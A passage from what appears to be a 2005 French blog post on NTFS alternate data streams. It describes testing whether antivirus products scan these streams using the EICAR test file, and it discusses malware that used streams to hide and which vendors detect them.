Pour savoir si votre antivirus permet de prendre en compte les ADS, réaliser la manipulation décrite par le CERT : <a href="http://www.cert-ist.com/english/tools/les_alternate_data_stream_en.htm" hreflang="fr">Article du CERT</a>. Dans l'ADS, placez <a href="http://www.eicar.org/anti_virus_test_file.htm" hreflang="en">la chaine EICAR de test d'antivirus</a> dans le flux ADS. Avec Symantec Antivirus 8.0, aucun virus détecté. Si vous n'etes pas convaincu par ce test, mettez la meme chaine de caractères dans un fichier texte quelconque. Votre antivirus devrait s'affoler dès que vous enregistrerez le fichier sur le disque.<br />
<br />
<strong>Update 21/02/2005 </strong> : Que penser de tout ca?<br />
<ul>
<li>Visiblement, le détrounement de cette fonctionnalité est connu depuis longtemps. Le virus Streams (<a href="http://securityresponse.symantec.com/avcenter/venc/data/w2k.stream.html" hreflang="en">Symantec</a>, <a href="http://vil.nai.com/vil/content/v_98803.htm" hreflang="en">Mc Afee</a>, <a href="http://www.kaspersky.com/news.asp?tnews=0&nview=1&id=108&page=3" hreflang="en">Kaspersky</a>) fut le premier à l'exploiter en septembre 2000, mais il s'agit plus d'une preuve de concept que d'un veritable virus. Certains antivirus semblent prendre en compte cet espace de stockage invisble (on m'a parlé de Kaspersky Pro 5) et d'autres non (Symantec AV 8.0 par exemple). Pourquoi? Probablement parceque cela n'a pas encore été exploitée massivement. Au départCependant ces derniers temps, la menace semble se préciser. On voit apparaitre des virus comme Dumaru (<a href="http://securityresponse.symantec.com/avcenter/venc/data/w32.dumaru@mm.html" hreflang="en">Symantec</a>, <a href="http://vil.nai.com/vil/content/v_101853.htm" hreflang="en">Mc Afee</a>, <a href="http://www.viruslist.com/en/viruses/encyclopedia?virusid=22128" hreflang="en">Kaspersky</a>) et d'autre <a href="http://securityresponse.symantec.com/avcenter/venc/data/trojan.comxt.html" hreflang="en">chevaux de troie</a> utilisant cette methode de camouflage.</li>
<li>Il semble cependant que la riposte se soit organisée partiellement. AdAware semble etre capable de <a href="http://www.lavasoftsupport.com/index.php?showtopic=44950" hreflang="en">scanner les ADS</a>. Kaspersky Antivirus fut le premier à proposer cet fonctionnalité (depuis <a href="http://www.kaspersky.com/news?id=146#a5" hreflang="en">la version 3.5 depuis septembre 2000</a>). Mais il semble que ca ne soit pas le cas de tous les éditeurs d'antivirus. En tous cas, il est particulièrement difficile de trouver des informations à ce sujet. Si vous connaissez des éditeurs d'antivirus qui supportent les ADS, postez un commentaire avec le nom, la version de l'antivirus ainsi qu'une url vers une page de son editeur donnant des détails sur le support de cette fonctionnalité.</li>
<li>Les protections des antivirus se basent généralement sur l'epluchage systèmatique des fichiers qui entrent et sortent du disque dur. Or dans ce cas précis, il faut que le canal soit géré par l'antivirus. Avec l'antivirus que j'ai essayé (Symantec AV 8.0) cela n'est pas le cas. Il est possible d'enregistrer un fichier infecté (test <a href="http://www.eicar.org/" hreflang="en">EICAR</a> pour les besoin de mon test) dans un ADS directement sans que l'antivirus ne disent rien. On peut y accèder toujours avec la meme discrétion. Donc si les flux ADS ne sont pas gérés par l'antivirus, cela veut dire qu'un virus peut résider sans jamais etre inquité par l'antivirus. De meme, les spywares sont impossibles à dénicher s'ils utilisent ce procédé. Seul un examen attentif de la base de registre pourra vous mettre la puce à l'oreille.</li>
<li>Inutile de porter le débat sur l'utilité des antivirus, avant, après on pendant l'infection. Le procédé exposé ici est une porte ouverte aux saletés de tous poils et pas seulement les virus. Je pense au spyware, malware et Cie.</li>
<li>Le fond du problème est bien l'absence total de visibilité des flux ADS. Rien ne permet de remarquer leur présence : la taille du fichier, la date, etc ne sont pas altérés par l'ajout de flux ADS. Il est donc impossible pour l'utilisateur standard de gérer ce genre de problèmes.</li>
</ul>